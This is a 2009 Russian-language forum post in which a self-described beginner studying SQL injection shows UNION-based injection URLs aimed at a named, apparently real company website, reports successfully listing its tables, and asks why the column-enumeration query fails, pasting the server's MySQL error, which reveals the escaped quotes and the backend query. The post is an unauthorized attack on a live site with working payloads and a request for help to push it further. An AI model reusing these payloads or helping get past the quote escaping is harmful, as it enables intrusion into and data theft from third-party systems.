
22.09.2009, 21:10
|
|
Новичок
Регистрация: 22.09.2009
Сообщений: 1
С нами:
8755437
Репутация:
0
|
|
Добрый день уважаемые гуру, вот занялся изучением SQL-инъекций, не могу разобраться:
Делаю инъекции для определения имен таблиц:
Код:
http://www.marlin-yug.com/shownews.php?news_id=-32+union+select+1,2,TABLE_NAME,4,5,6,7+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+4,1
Все работает, перебирая limit нашел интересную табличку guest_book
Делаю так, чтоб узнать колонки:
Код:
http://www.marlin-yug.com/shownews.php?news_id=-32+union+select+1,2,COLUMN_NAME,4,5,6,7+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='guest_book'+LIMIT+1,1
НЕ работает !
Код:
Select_Error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'guest_book\' LIMIT 1,1' at line 5SELECT `mar_news`.`news_date`, `mar_news`.`news_small_en`, `mar_news`.`news_big_en`, `mar_news`.`photo_alb_page_id`,`mar_news`.`file_en`,`mar_news`.`file_anchor_en`, `mar_news`.`category_name_id` FROM `mar_news` WHERE `mar_news`.`news_id` = -32 union select 1,2,COLUMN_NAME,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=\'guest_book\' LIMIT 1,1
Подскажите пожалуйста в чем загвоздка.
Последний раз редактировалось неумейка; 22.09.2009 в 21:12..
|
|
|